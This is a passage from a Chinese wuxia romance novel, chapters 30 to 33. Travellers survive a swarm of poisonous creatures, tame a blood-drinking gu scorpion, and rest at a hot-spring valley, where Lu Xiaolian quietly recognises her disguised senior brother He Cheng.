可蛇虫实在太多,他们顾了脚下,便顾不得头上,几条悄悄挂在树梢、首尾相勾的艳色小蛇趁着两人不备,竟凌空扑了过来。 赵戎津扶着摇摇欲坠的贺承,来不及挥动树枝去拦,下意识抬手一挡,那另开扑过来的小蛇正借机攀住他的手臂,顺势往上游走,张开死死咬住他的肩膀。 “赵戎津!”贺承迅速抽出腰间短匕首,利落砍断挂在赵戎津手臂上的那条小蛇。 赵戎津怔怔抬手摸了摸自己发麻的肩膀,骇人的乌色自他脖子上的那两个深洞蔓延开来。他看了眼自己手上沾着的黑血,又看了眼贺承握刀的手滴滴答答淌着血,苦笑:“完了,你也受伤了……” 第30章 第三十章蛊虫这是只蛊虫吧! 听了赵戎津的话,贺承迟钝地低头看了眼自己的手。 他也是这时才发现自己的指掌之间不知何时沾染了血色,手上的血颜色鲜红,显然与被毒蛇咬伤的赵戎津无关。 所以,他也受伤了 贺承想不起自己什么时候受了伤,也没功夫深究自己什么地方受了伤—— 那条毒蛇咬中了赵戎津,其他毒物见了血,霎时更加沸腾活跃,他们两人的处境比之前还要艰难。 贺承挥动树枝依旧驱赶着毒虫,空出一只手持着匕首,不时斩杀有样学样飞扑过来的毒蛇。赵戎津被毒蛇所伤,毒液随着血液进行,他的脸色隐隐发黑,已经有些站不住,却仍强撑着与贺承抵背而战, 贺承又斩落一条毒蛇,有些气喘:“你先到金波那里去缓缓,兴许她有药。” “不行,现在坐下休息,就,就再也起不来了。”赵戎津呛出一口黑血,脱力地靠在贺承背上缓了片刻,“我没力气了,你借我靠会儿。” 贺承苦笑,他们此刻就是一对难兄难弟,也不知道会是谁先撑不住倒下去。 忽然,赵戎津用手肘捅了捅贺承:“喂,你看那边,那是什么东西?这些东西的带头老大吗?” 顺着赵戎津手指的方向,贺承看见树林中间爬出一只周身发着血红色荧光,模样像蝎子,却又比寻常蝎子大得多的毒虫。 它徐徐自林中走出来。 不仅是贺承和赵戎津紧紧盯着它,此间所有毒虫毒蛇也在顷刻间停止了所有动作,仿佛被什么巨大的威压震慑,尽数安安静静落在地上或者树上,不敢造次。 这只红色大蝎子显然不是善类,可贺承和赵戎津已经彻底没有力气了。 难道他们真的要命丧七步岭吗 大蝎子一步一步朝他们走来,身后跟着各种各样颜色艳丽的动物。 贺承听说,这些毒虫毒蛇毒**,越是颜色艳丽,毒性便是越强。按照这个逻辑,刚刚把他们打得团团转的那些灰的、白的、黑的蛇虫,与这是大蝎子背后五颜六色花枝招展的队伍相比,可真是小巫见大巫。 贺承握紧匕首,用力之下,鲜红的血从指尖冒出,滴滴答答落到地上。 缓步朝他们走来的大蝎子忽然发起狂来,走得飞快。 它迅速绕过赵戎津在地上点起的火堆,穿过贺承用金波的药粉在地上画下的包围圈,径直朝他们两人奔走来。 其实要杀掉这只红色的蝎子并不难,可贺承和赵戎津都不敢冒然动手。 他们不清楚它为什么能令七步岭上的所有毒物瞬间安静收敛下来?更不清楚当着这些毒物的面,杀掉这只诡异的红色大蝎子,是不是会更彻底地激怒它们? 因此,他们不敢妄动,步步后撤,直退到裹着毯子的金波身前,已是退无可退。 赵戎津握紧树枝,随时准备着驱赶它。 贺承握紧匕首,做好了再次陷入混战的准备。 却不料,那只红色大蝎子急急忙忙飞奔过来,收着蝎尾,并不像是要攻击人的模样。它小心翼翼地朝贺承凑了凑,一点一点挪到他脚下,举着两只硕大的螯钳,昂着头,仿佛在等待着什么。 危险近在咫尺,混战一触即发,贺承不由自主地又握紧了匕首。 指尖一阵钻心的刺痛,令他神志异常清明,低下头,眼睁睁看着一串血珠自自己的指尖跌落,而地上举着螯钳、仰着头的大蝎子稳稳接住那几滴血,迅速塞进嘴里。 贺承觉得,某一刻,他好像是在它身上看到了雀跃和满足。 如果虫子也有情绪的话。 什么意思?它急急忙忙地跑出来,是为了喝血? 贺承与赵戎津对视一眼,各自迷惑不解。 下一刻,那只大蝎子肥大的蝎尾重重在地上拍了两下,不知从什么地方,发出一阵像是硬物摩擦一般的“嘶嘶嘶”的声音。 没人知道大蝎子的这些举动是什么意思,可满地满树的毒蛇毒虫却看懂听懂了,在那“嘶嘶嘶”的声音中,树上、地上密密麻麻的毒物开始退去。 与最初一样,又是一阵阵黑云卷过,片刻后,竟只剩下红色大蝎子孤零零的一个。 赵戎津有气无力地问:“什么意思?没事了?” 贺承眉头紧锁,抬头看了眼悄悄站到不远处的陆晓怜、钟晓和齐越,朝他们摆了摆手,摇头道:“先别过来。”说罢,回头问裹在毯子里的金波:“金姑娘,你能看到这只东西吗?这究竟是怎么回事?” 担心身上的气味再引发危险,虽然虫潮退去,金波却还是不敢扯下毯子,只能将自己裹成个麻布袋一般,提着毯子一蹦一跳地绕到贺承身旁来看那只红色大蝎子。 她看了一眼,就往后又蹦了三步,惊得舌头打结:“这,这,这是只蛊虫吧!甚至是只蛊王,怪不得整个七步岭的毒物都怕它!” 她蹲在一旁,不近不远地看着那只蛊王举着螯钳乖乖地接着贺承的血喝,语气里也流露出困惑:“七步岭这么多毒物,炼出一只厉害的蛊虫不奇怪,奇怪的是,它在沈大哥身边怎么这么乖?” 贺承觉察赵戎津压在自己身上的分量越来越沉,此刻并不是思索蛊虫为什么这么乖的时候,他问金波:“若是七步岭的毒物都怕它,我们带着它,是否就能平安出去?” 毯子里传出一阵窸窸窣窣的响动。 不多时,金波丢出一个宽口罐子来:“可以试一试。沈大哥,你往罐子里挤点血,将它引进去,之后每隔一个时辰就挤几滴血进去安抚它,应该能保我们一路平安。” 贺承依言照做,将蛊虫引进宽口罐子里,拿盖子封上,终于长长松了口气。 暂时脱离险境,赵戎津一口气松下去,终于再支撑不住,“哇”地喷出一口黑血,摇摇晃晃地栽倒下去。 “赵戎津!” 眼见赵戎津不支倒地,钟晓再拦不住齐越。齐越喊着赵戎津的名字,发足狂奔而去,他伸长了手臂,也没能将赵戎津接进怀里,只来得及跌跌撞撞跪倒在他身旁。 赵戎津受伤时,齐越并不在场,他小心翼翼地把人扶进怀里,边给他诊脉,边寻找他身上的伤口。撕开他肩上的衣衫,看见他肩头两个深深的血色和一片乌黑的皮肤时,齐越脸色霎时雪白,险些蹲不住。 “不行,得把毒血吸出来!” 齐越要用嘴去吸出伤口的毒血,刚刚低下头凑过去,就被赵戎津抬手抵住额头,把他的脑袋推了回来。他靠在齐越臂弯里,奄奄一息:“傻子,毒血早就,早就游走四处,你,你哪里吸得过来。” “能吸出一点是一点。”齐越语气平稳,可眼泪不受控制地大颗大颗往下掉,“七步岭的毒物很厉害,我们还要走很久!我是大夫,你听我的!” “平时都听你的,这回,这回就听我的吧。”赵戎津的气 息越发微弱,渐渐涣散的目光里尽是留恋不舍,他挣扎着抬手摸摸齐越的脸,声音弱得几乎只剩气音,“阿越啊,以后我不在,你,你自己就别进谷了。” “我不!”齐越抱紧怀里的人,“不想让我进谷,你就自己来拦我啊!” “听话。”赵戎津长长吐出一口气,口鼻处涌出汩汩黑血,紧紧盯着齐越,目光却渐渐散了,“你就,最后听我一次吧……” “你别动!”齐越翻出随身带着的小刀,咬牙割开赵戎津肩膀上的伤口,低下头去,将嘴唇紧紧贴在他肩上伤口处,一口一口吸出腥臭的毒血…… 另一边,把蛊虫引入罐中,将罐子交由金波保管后,贺承也脱力昏厥了过去。 陆晓怜和钟晓不是大夫,将人扶进怀里,急病乱投医地喂了一颗在小溪镇的药坊里备的益气补血的药丸,半晌才见他悠悠醒转过来。 贺承醒来混沌片刻,想起赵戎津的伤,心下一沉。赵戎津中毒后不仅无法静卧,还与他并肩驱赶毒物,毒液顺着疾行的气血游走,早已经侵染周身,情形恐怕不会太好。 他推了推钟晓的手臂,道:“我没事,你去帮小齐大夫。” 贺承虽然这样说,陆晓怜却不会这样信。 她顺着钟晓离开的方向看了一眼,只看见靠在齐越怀里的赵戎津脸色发乌,无力垂落下的半条手臂也都是黑的,显然中毒已深! 心惊之余,她赶紧转回头来,翻看贺承身上的伤口,担心有丝毫遗漏。可只看了个开头,她去掀开贺承衣领的手就被贺承反手拉住,贺承的手虚虚圈住她的手腕:“我没受什么伤,你放心吧。” 陆晓怜心细,他这一抬手,反倒是暴露出一点破绽来。 以此时他倚在她怀中的姿势,左手是落在外侧自由无阻的,右手却被挤在两人之间,伸手拦人这样一个动作,要紧的是要快,本该用最便利的那只手,而他却非要艰难地抽出右手来。 这是什么缘故? 陆晓怜松开贺承的衣领,伸手去捞他垂在身侧的左手,心中一痛,声量不由提高起来:“没受伤?没受伤这是怎么回事?” 陆晓怜小心翼翼捧着贺承的左手,只见那只修长的手挂满了血污,血色从指缝里渗出来,滑过清瘦苍白的手背,像烧了一夜的烛泪一般,高高低低地垂着,一直淌到手腕处。 唯一值得庆幸的是,他的血是鲜红色的—— 至少证明他没有中毒。 半是侥幸半是心疼,陆晓怜轻手轻脚地捧着贺承的手细看。细看之下,她发现他手掌上的血像是都从中指附近蔓延开的,她狐疑翻转过他的手掌来看,瞳孔不由一颤—— 他左手中指指尖的血肉硬生生撕裂开来,皮肉外翻,肿胀可怖,那破碎的血肉之间赫然扎着一根寒光闪闪的针! 陆晓怜又气又痛:“你——” 贺承料想她不忍,将手掌又翻过去,只留皮肤惨白的手背对着她:“原本只是想要提提神,打起架来,就忘了。”知道她生气,他的语气开始有些撒娇有些讨好:“刚刚还没感觉,现在开始觉得疼了,啊,好疼,你帮我把针取了,好不好?” 这个人总是这样。 三天两天惹人生气,惹人生气了,不哄不道歉,反倒撒娇打滚,等着被他气得说不出话的倒霉蛋反过来哄他。 陆晓怜又好气又好笑,翻了个白眼,收敛了情绪,低下头查看伤口,忍不住倒吸了一口凉气。 伤倒不是危及性命的重伤,可十指连心,他是真下得去手! 她边在他皮开肉绽的指尖寻找适合取针的位置,边问他:“这不像是小齐大夫的银针,倒像是缝衣针。你哪里来的缝衣针?” 贺承睁眼瞎说:“我孤身一人在外,衣裳破了也是自己缝补,有缝衣针也——” 话音未落,贺承身子猛地一颤,痛极了的呻吟被他咬碎在唇齿间硬生生咽了回去。他唇色煞白,额头冷汗涔涔,喘着粗气看着陆晓怜手里的那枚挂着血珠的缝衣针—— 陆晓怜,青山城众星捧月的大小姐,他那娇生惯养的小师妹,就这么干净利落地把嵌在她心爱的贺师兄血肉里的缝衣针拔出来了? 贺承不禁茫然,所以,他到底被陆晓怜认出来了没有?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第三十一章阴阳草阴阳草不仅难得,…… 虽然捉了蛊虫在手,可变数横生,七步岭终究不是久留之地。 况且,尽管赵戎津体内的毒素被钟晓硬生生逼出来一些,但他受蛇毒侵染太深,情况还是十分危急,命如悬丝,再禁不得一点儿风吹草动。 所有人都疲惫不堪,但没有人想在此地停留,稍作休整,便重新上路了。 还没有离开七步岭,金波不敢轻易取下包裹着自己的毯子。为了方便走路,她小心翼翼地将毯子系在自己腿上,只露出一双脚来,为防万一,她特意将那只装着红色蛊虫的罐子牢牢捧在胸前,以求吓退一切试图近身的毒物。 齐越执意要自己背着赵戎津翻越七步岭。 赵戎津高大精壮,而齐越身形纤瘦,他红着眼咬着牙,一声不吭地背起赵戎津,将每一步都走得又快又稳,就和赵戎津醒着的时候一样,他们永远坚定地走在最前面,给大家领路。 贺承虽没有被毒虫所伤,可他本是强弩之末,撑到此刻也是十分勉强。 医者仁心,齐越为赵戎津揪心之余,还抽空为贺承包扎手上的上。他特意交代陆晓怜和钟晓注意他手上的伤口,伤在手指并不是什么要命的地方,可贺承气血太弱,凝血有碍,若是任由他一路滴滴答答地淌着血走过去,便是一头牛,也要将血流光了。 于是这一路,贺承的手都是被陆晓怜握着的。 她纤细温热的手指小心翼翼地环过他瘦削伶仃的手腕,伸出两只轻柔着撑住他的手背,将他受伤的手稳稳托住。 在贺承的印象里,她好像从来没有这样握过他的手。 在很小的时候,她喜欢软软地握着他的一根手指,像根尾巴似的跟着他。后来长大些,她会用力地握住他的小臂或者手腕,拖他去任何自己想去的地方。再后来,是两臂挽牵,是十指相扣,是坦荡而坚定的并肩而行。 这是第一次。 她稳稳托起他的手掌,她成了他的依靠。 他们一路这样默默地走着,各怀心事,各有牵挂。 带着伤员和病人,他们的脚程不算快,从枝叶间溜进来的光斑还是金灿灿一片,到残阳如血,斜斜铺就前路,他们不敢停歇,从晌午走到日暮,终于在伸手不见五指的丛林中,借着陆晓怜手中小小的一豆灯火,走出了七步岭。 翻过七步岭,就是百花潭。 被闷了一路的金波解开重重包裹的毯子,纠缠许久黑暗霎时被抽离开,睁开看去,是一片银白色的柔软亮光,那银白的光落在平坦的山谷里,明晃晃地映出遍地柔绿的草和娇艳的花。 谁能想到,幽暗惊险的七步岭之外,会藏着这样一处静美的世外桃源? 山谷里的百花潭是一潭温泉水,这里一年四季都温暖宜人,孕育着各种奇花异草。 这一夜恰是月圆,银盘似的月圆低低悬着,银盘里的牛乳泼洒出来,月光柔软,肆意流淌,山谷里氤氲着百花潭升腾而起的水汽,薄雾袅袅,宛如仙境。 月光下,背着赵戎津一路跋涉的齐越脸色苍白,他侧过头去,轻轻贴了贴赵戎津冰凉灰败的脸,呼吸沉沉,声音哽咽:“赵戎津,我们到了,你醒醒。” 赵戎津并没有醒,又拖了这么半日,他的气息更弱了下去。可饶是如此,昏迷中的人似乎还是能听见令他割舍不下的那个声音,虽然他说不出话来,但浓密的睫毛挣扎着颤了片刻,喉结滚动,轻轻吐出一口气,仿佛叹息着说了声“傻”。 对七步岭上悬 在枝头的毒蛇心有余悸,大家选择在百花潭边的一块青石下安顿下来。 钟晓陪着齐越去采药,金波蹲在百花潭旁,仔仔细细洗脸;陆晓怜生了火,边架着一只陶罐,给昏迷中的赵戎津熬药,边跟贺承一起,对罐子里的那只从七步岭上捉来的大蝎子大眼瞪小眼。 陆晓怜咬破手指,往罐子里滴了一滴血进去。趴在罐底的大蝎子懒洋洋地偏头看了那滴血一眼,继续抱着硕大的尾巴昏昏欲睡。 贺承拆开左手上包着的布,尚未愈合的指尖缓缓渗出殷红。他的血甚至还没有滴落到大蝎子身边,大蝎子便有了动静,困顿萎靡的小家伙精神一震,猛然昂起头来,挥着螯钳,攀着靠近贺承的那一侧罐壁,想奋力爬出来。 “啪嗒”一声,在它攀上罐子口之前,贺承迅速把罐子盖上,一手按在盖子上,一手抵在唇边,倚着大青石,低低咳嗽。 陆晓怜忧心忡忡:“这究竟是什么东西,为什么独独对你会这样?” 贺承也觉得费解,他此前不曾到过百花谷,这地方的名字都还是前一段才从枕风楼听来的,为什么百花谷里这只奇奇怪怪的小虫子,竟然好像认得他? 说到这里,把自己洗得清清爽爽的金波正走过来。她小心翼翼地把贺承手边的那只罐子捧回来,神态颇为珍重:“蛊,百虫竞而不死者,它是在七步岭毒物堆里不知道打赢了多少架的强者,很难得的。” 陆晓怜问金波:“你见过蛊虫?” 金波抱着罐子愣了愣,讷讷开口:“见过的,这种颜色鲜艳的蛊虫很厉害的,在我们那儿,圣女才炼得出来。” 贺承一针见血:“你来自南疆?” 蛊虫是南疆秘术,中原武林并不多见,贺承和陆晓怜只是在江湖异闻里听过,却不曾亲眼见过。 金波倒也坦荡,被这样问了,也便大大方方地答了:“我的家乡确实是在南疆。” “那日从客栈里带走你和陆姑娘的那帮异乡人,是否也是南疆人?”贺承脑子里飞快将与金波相遇这几日的事情串了一遍,追问,“他们似乎要找什么人?是不是就是来找你的?” 金波眨眨眼,一脸无辜:“晓怜姐姐应该也听他们说了,他们是来找偷偷跑到中原的南疆圣女的。”她耸了下肩,颇有些无奈:“你们看,我丢个药球,都差点被毒物咬死,世上有这么倒霉的圣女吗?” 贺承和陆晓怜被她逗得笑出声。 “即便你是他们要找的圣女,你若不想回去,我们便不会让他们带你走。”陆晓怜宽慰金波,又问她,“奇怪,你与他们同是来自南疆,怎么你的官话说得这样好,若不是今日你在七步岭大显身手,我们都没有发现你并非中原人。” “是我师父!”金波捧着装蛊虫的那只罐子,小心翼翼掀开盖子看了一眼里头那只红得妖冶诡异的小虫子,见它还活着,她轻轻松了口气,继续说下去,“我师父年轻的时候往来于中原、南疆之间,对中原很熟悉,我也是自小听她跟我说起中原,才会想要来这里看一看。” 这里与南疆虽相隔千里,但也并非各自闭塞不通,两地商贸往来也是有的,因而金波说起她的师父年轻时往来于两地之间,并算不得什么稀罕事,贺承与陆晓怜便没再追问下去。 聊到这里,齐越和钟晓恰好带着草药回来。 齐越往陆晓怜守着的陶罐里加了几味药材,又熬煮片刻,沥出小半碗汤药,端到赵戎津身旁。赵戎津中毒已深,只有一口气卡在喉咙里,齐越用碗沿撬开他的唇齿,摇摇晃晃地倒进小半口汤药,紧紧盯着他喉结微动,将汤药一点点咽下去,齐越才稍稍松了一口气。 小半碗药喂了半天,赵戎津把汤药尽数咽下去了,齐越紧绷的身子终于稍稍松弛了下来。他呼出一口气,竟像是硬生生奔走了几十里地一般,全身虚软无力,跪坐在赵戎津身边,动也动不了。 这样缓了片刻,齐越终于恢复了一点力气,抬手将赵戎津额头上一层一层的冷汗擦了,转过头来,看看贺承,又看看陆晓怜,犹豫道:“我,我有个不情之请。” 陆晓怜与贺承对视一眼,道:“小齐大夫别这样说,你是为了我们才以身涉险进百花谷的,需要我们做什么,只管开口。” 齐越没有立即应话,扭头从药篓里翻出一株草药来。 那株草药长得有些奇特,细细的一根嫩茎上长着六片叶子,深绿色的叶片上,银白色的叶脉清晰可见。这六片叶子成对生长,每一对叶片都是一片叶子正面朝上,另一片叶子背面朝上。 齐越说:“这是阴阳相思草。我在父亲的医书上见过,这草药对清理经脉脏腑的积毒有奇效,戎哥性命已经无碍,可他中毒太久,只怕脏腑经脉皆有损伤,我想让他服下这株阴阳相思草。” 他顿了一顿,有些迟疑:“只是这草药不仅难得,要炮制入药,更是不容易。”边说着,他边触了触那株草药最顶端的一对叶片。 赵戎津情况危急,他和钟晓去采药只花了不到两刻钟,即便算上回来给赵戎津喂药花费的时间,这株草药从被采摘下来到现在,至多不过半个时辰,仅仅这么短的时间,它的叶片边沿已经开始发蔫打卷。 贺承知他话未说尽,直接发问:“需要我们做什么?” “这草药本身含有毒性,服用前,需由一对男女相拥,将这株阴阳相思草贴在怀中,以体温烘制一夜,使毒性挥散,却又保留下药性。”齐越抬眼,又将贺承和陆晓怜轮番看了几遍,抿了下唇,“你们也看到,这草药娇贵,根本带不出去。毕竟男女有别,此刻能帮我制药的,只有二位了。” 金波忽闪忽闪地眨了眨眼睛,搓着手期待地看着贺承和陆晓怜。 而另一头,钟晓眉头紧锁,脸色阴沉得像是立刻要霹下一道雷来。 贺承脑中一片空白。 齐越在说什么?男女有别,所以只能找他和晓怜帮他制药?齐越是什么意思,他就不是男的,陆晓怜就不是女的了?为什么他和晓怜就不用顾忌男女有别了? 他还来不及出声质疑,就听见陆晓怜眉眼弯弯地答应下来:“这有什么难办的,就是抱着这株草药睡觉嘛!” 贺承顿时头疼欲裂。 陆晓怜真的听清楚齐越说什么了吗? 只是抱着草药睡觉吗?是不是还得抱点别的什么? 第32章 第三十二章藏不住至少此刻,你不要…… 同样觉得陆晓怜没听清齐越的话的,还有钟晓。 他脸色铁青,提出异议:“小齐大夫,我听不明白,怎么沈兄和我师姐,就无需顾忌男女有别了?” “你是真看不出来,还是在装傻?”他身旁的金波用力拽了一下他,恨铁不成钢地摇了摇头,“你莫不是个傻子吧!我早就说过,晓怜姐姐是沈大哥的心上人,沈大哥也是晓怜姐姐的心上人,现在小齐大夫也看出来了,怎么就你眼瞎呢?” “不可能的!”钟晓执意,“如果沈烛成了我师姐的心上人,那我师兄怎么办?” “你那个师兄,这么长时间音信全无,凭什么让晓怜姐姐干等着?” 钟晓气得脸颊涨红:“都说了,师兄有要事处理!” 明明是与他们自己无甚相关的事情,可钟晓和金波就这样吵吵嚷嚷闹得不可开交。 这头,始作俑者齐越悄悄溜到贺承和陆晓怜身边,补充解释:“这草药名字里带了阴阳,便是因为制药时非得一男一女。金姑娘与你们并不相熟,只怕多有不便,我是看见沈公子病中,皆是陆姑娘不假人手的照顾,料想二位的关系理当最为亲密,是以提出了这个想 法,如有冒犯,还请见谅。” 陆晓怜连连摆手:“江湖儿女不拘小节,说什么冒犯。”边说着,她边拿肩膀轻轻撞了一下贺承的肩膀,眉梢一挑,冲他使个眼色:“死生之外,都是小事,救人要紧,对吧?沈兄?” 贺承盯着她挤眉弄眼的模样,又好气又好笑,敷衍道:“是,陆姑娘高义。” 于是,为了炼制这株小小的阴阳相思草,贺承与陆晓怜被迫成了连体双生子。 此时还未到入睡的时点,所有人都清醒着、忙碌着,众目睽睽之下,贺承和陆晓怜自然不好紧紧拥抱到一起去,只将那株小小的阴阳相思草贴在掌心里,两人十指相扣,用指掌间的温度暖着它烘着它,以使它不至于轻易委顿下去。 百花潭里没有鱼,但树下、草丛里,星罗棋布地长着野菌子,在金波和齐越的努力下,他们挑拣出可食用的菌子,煮了一锅鲜美无比的菌子汤,围着火堆,就着包袱里的干粮,勉强对付了一餐。 期间,赵戎津恰好醒过来,闻着香气窸窸窣窣地凑过来,弱声笑骂:“你们这群忘恩负义的家伙,我为了你们差点把命丢了,你们竟背着我吃独食!” 他刚刚醒来,体内还有待清理的积毒,整个人还十分虚弱,说了一长串话,便有些体力不支,坐在齐越身边,只觉得头重脚轻,摇晃了几下,软绵绵靠进齐越怀里去。那么高大那么凶悍的人,靠在齐越怀里,像只大猫似的,用脸颊蹭了蹭齐越清瘦单薄的肩膀,语气有些可怜:“阿越,我饿了。” 并不需要他开口,齐越一见他醒了,已经动手往自己碗里又添了半碗热汤,撕了几块干得噎人的饼子在汤里泡软了。此时,他正舀起一勺吹凉了,喂到赵戎津嘴边:“将就吃点,等出去了再好好给你补补。” 赵戎津凑过来,一口吞了那勺汤泡饼子。毒素消退需要时间,其实赵戎津此刻舌头发麻嘴里发苦,可从齐越手里叼走这一勺食物,还是令他满意得眯起眼:“你亲手喂给我的食物,怎么能说是将就?” 齐越瞥了他一眼,像山谷里的夜风一样,轻飘而温柔地笑了。 虽然百花谷里危机重重,可山谷里的夜风却实在温柔,一层一层扫过粼粼水面,平铺在水上的银白色月光灵动而活泼,在平静的水面上肆意跳起舞来。 这是进入百花谷后难得的静谧安宁,这里既没有伤人的机关,也没有咬人的毒物,所有人围着篝火抵肩坐着,像是某个访遍青山不肯归的夜晚。 赵戎津就着齐越的手吃了点东西,稍微恢复了一点力气,说起之后的安排:“阿越要在这里给沈公子治病,我们大约可以在这里停留几日,放松放松。如果阿越治不好沈公子,你们就还得往百花谷更深处去寻神医。我和阿越只能送你们到深谷边沿,再往深里,我们也不曾去过了,希望你们运气好,能如愿遇见神医。” 虽然神医难寻是大家进谷前便知道的事情,可此刻赵戎津这样说,又是当头泼下一盆冷水来,每个人心里都不好受。 其中,最不好受的,当属钟晓。 他盯着贺承与陆晓怜十指相扣的手看了大半个晚上,已经闷了一肚子气,现在赵戎津又强调了一遍,遇见神医全凭运气的事,他难免有些崩溃—— 原本钟晓想着,沈烛救过他和陆晓怜几回,陪他来百花谷一趟,他们也是仁至义尽,自此可以两不相欠了。结果呢?这一趟百花谷之行,不仅没能找到神医,治好沈烛,互不亏欠,反倒让沈烛把他师姐的手给牵上了。 这下可好,救命之恩还没报完,情债又已经欠下了。 钟晓越想越头疼,额角突突跳着,极度郁闷下,他听见沈烛的声音,还是下意识地竖起了耳朵:“我记得小齐大夫说过,你们一家是为了神医,才移居百花谷外的。不知令尊可曾留下百花谷地图一类的东西?” 齐越迟疑道:“有是有,只是——” “只是阿越的父亲特意交代过,不可交给外人看。”赵戎津替他将不好说完的话补完,夹带私活地叹了口气,“因而即便是我,也不曾见过百花谷全貌。” 不知齐越家与百花谷、与谷中神医究竟是什么渊源,他们没有详说,贺承他们也不便多问。他点头表示理解:“我只是想跟小齐大夫确认一件事,除了百花潭,百花谷中可还有其他水泊?” 齐越拿着跟小树枝在地上勾勾画画,想了一想,摇头:“山间溪涧是有的,湖泊水潭却只有这一处了。” “那你们说的药泉,在百花潭的什么方位?” 齐越指向北边:“往北走,有个地势较高的小水潭,将药泉泉水蓄在其中,天然形成了能治病救人的汤泉。”他眉头一蹙:“水中情况莫测,今日天色晚了,沈公子一会喝了药便早点歇下,明日一早,我带你去药泉浸浴。” 关于给自己治病的事,贺承仿佛只是随口一问,并不上心。 他抬头看了看高悬于天际的那轮将圆未圆的明月,若有所思,沉默了片刻,点头道:“也好,这里既没有毒物,也没有机关,景色还好,我们就当是春游踏青,不妨多待两日。” 伤病交加的贺承是最迫切着要找神医的人,他提议在这里多留一日,玩心重的金波和希望赵戎津得以休养的齐越自然不会反对,陆晓怜在“快些出发找神医”和“让贺承在药泉里多泡一泡”的两难抉择中纠结片刻,选择了后者。 毕竟百花潭平静安宁,又遍地是奇花异草,还有一湾温泉可温泡解乏,甚至于还有一眼能治病的药泉,对于这帮人倦马乏的人而言,此处确实是个很不错的休憩场所。 既然偶遇神医全凭运气,在这里多待几日,又有何妨? 六个人里,除了必然会和齐越意见一致的赵戎津,已有四个人同意在这里多留一日。 于是,尚未表态的钟晓,便无关紧要了。 因为此处安宁静谧,也因为第二天不急着赶路,这一夜,所有人都睡得分外香甜。 只除了,主动请缨守夜的钟晓。 整整一夜,他借着火光死死盯着角落里紧紧相拥的两个人,他的剑就在他手边放着,如果有些什么人将手伸到什么不该伸的地方去,剑起刀落,他一定把那只不安分的爪子砍下来! 然而,钟晓想不到,即便想到,他应该也是不想承认,真正不安分的人是他的师姐陆晓怜。 准备就寝时,贺承将那株阴阳相思草塞进自己怀中,放在两层衣物的夹层之间,防止无意滑落。刚刚安置稳妥,陆晓怜便像一尾游鱼般,轻巧灵活地钻进他怀里,张开手臂环过他清瘦的腰身,贴紧他柔韧的身体。 贺承身子一僵,随即手腕一扬,用刚刚解下的披风将陆晓怜严严实实裹住。虽说江湖儿女不拘小节,但也不至于不拘到众目睽睽之下投怀送抱的地步。 他想说点什么,却又说不出什么来:“陆姑娘,你——” 陆晓怜在他怀里仰着头,一双杏眼映着漫天星月,亮得动人。 他很久没有这样近地看她。虽然夜色深沉,可这一夜星月灿烂,她又离他这样近,他一垂眸便能看见她饱满光洁的额头,小巧挺翘的鼻子,红润欲滴的唇,这些长得极为标致漂亮的五官恰到好处地放置在莹白如玉的面庞上,便是他所熟悉的陆晓怜。 陆晓怜仰着头看他,无辜,可怜,又十分动人。 她说:“沈兄,那日在山洞里,你不是跟钟晓说,你仰慕我已久吗?那你此刻岂不是应该很高兴?” 贺承垂着手不肯去抱她,语气生硬:“陆姑娘与你师兄情投意合,我与你师兄也算是相识,乘人之危,实乃不忠不义。” “你若真心喜欢我,怎么藏都是藏不住的。”陆晓怜盯着他的眼睛,声音稍稍压低,只有他们两人可以听见,“就好像,你究竟是谁,在我面前也是藏不住的。” 贺承低头看她,目光幽深,半晌没有说话。 陆晓怜像小动物一样锲而不舍地往他怀里钻,侧头贴在他胸口,枕着他的心跳,目光如水:“他们都睡了。” “嗯 ?” “只有我们两个人了,你能不能暂时地,不要是沈烛?” 有风飘过,枝叶簌簌,树影婆娑。 月色如水,遍地肆流,无边无垠。 天地之间,有树,有草,有风,有月,没道理容不下一个贺承。 陆晓怜一直目不交睫地盯着他看,属于沈烛的那张脸僵硬冷然,五官平平无奇,只有那双属于贺承的眼睛,黑亮深邃,与这张脸格格不入。 悄无声息地,一只手落到她的肩上,那只手将她轻轻一推,她被一道温柔的力量,平稳,却不可反抗地按进一个体温低凉的怀抱里。 贺承的手托着她的脖颈,低头轻轻吻过她的头发,他的声音半带着无可奈何的笑意,半带着怅然无措的叹息:“晓怜啊……” 第33章 第三十三章相认你是什么时候认出我…… 贺承与陆晓怜之间,横亘着太多东西。 那些东西里,有陆兴剑溘然长逝的一条命,有青山城中正无私的名声,还有江湖上说不通、堵不尽的人言可畏。贺承用一张胶皮面具,隔开这些是非,也隔开了陆晓怜,可这一夜,他们之间近得只隔着一株阴阳相思草的距离。 不远处,还有钟晓目光炯炯地盯着,陆晓怜不敢放肆,紧紧扣着贺承未受伤的那只手,安安生生地靠在他怀里,枕着他的心跳,昏昏欲睡,却又不敢也不舍真的睡过去。困意翻上来,她明明倦得眼皮打架,却还是要不时挣扎着抬头看贺承一眼。 陪着陆晓怜长大的人,很轻易便能猜到她在想什么。 贺承抽出被她握着的手,搭上她的肩膀,手指微收,便将她更紧揽进怀里。他宽大的手掌顺着肩膀,攀上她的脖颈,像安抚一只无助的小动物一般,他在她后颈轻轻捏了一下,而后迅速松开,手掌顺着脊骨一寸一寸滑下去,在某个合适的位置上稳稳停住,一下一下,轻缓温柔地拍抚着她,温声道:“安心睡吧,我不走。” 夜晚静谧安宁,他们靠得太近,呼吸声和气息剪不断理还乱地纠缠在一起。 两个人不约而同地想起很多以前的事情…… 陆晓怜的母亲龙吟仙子林音早逝,青山城是四大门派之首,她的父亲陆岳修身为青山城掌门,既没时间,也没耐性带孩子,她的哥哥陆剑兴倒是很疼妹妹,可因为被父亲寄予厚望,早早拜入师门,勤学苦练,也是三天两头找不见人。 像只落单小鸟般可怜兮兮的陆晓怜就这样遇见了贺承。 贺承被带进青山城的时候也只有六七岁,虽然比陆晓怜大不了几岁,可贺启几乎算是他一手拉扯大的,那时的他已经很会照顾人。 初入青山城的贺启极不适应,像只被人类捕获的小兽一般时时警惕不安,贺承想尽办法哄他弟弟开心的同时,顺手把那个总是不远不近跟在他们身后的小姑娘也顺带捎上。 一开始,他们也算是各取所需—— 恰好陆晓怜想要有人陪伴,恰好贺承想要给贺启找个玩伴。 后来,他们渐渐熟悉起来。 再后来,贺承与陆晓怜一同拜入陆岳修门下,成了师兄妹。 他们之间的牵连,越来越多,越来越深…… 陆晓怜搂着贺承,满足惬意:“师兄,小的时候,贺启讲鬼故事吓我,你也是这样拍着我的背哄我睡觉的,你还记不记得?” 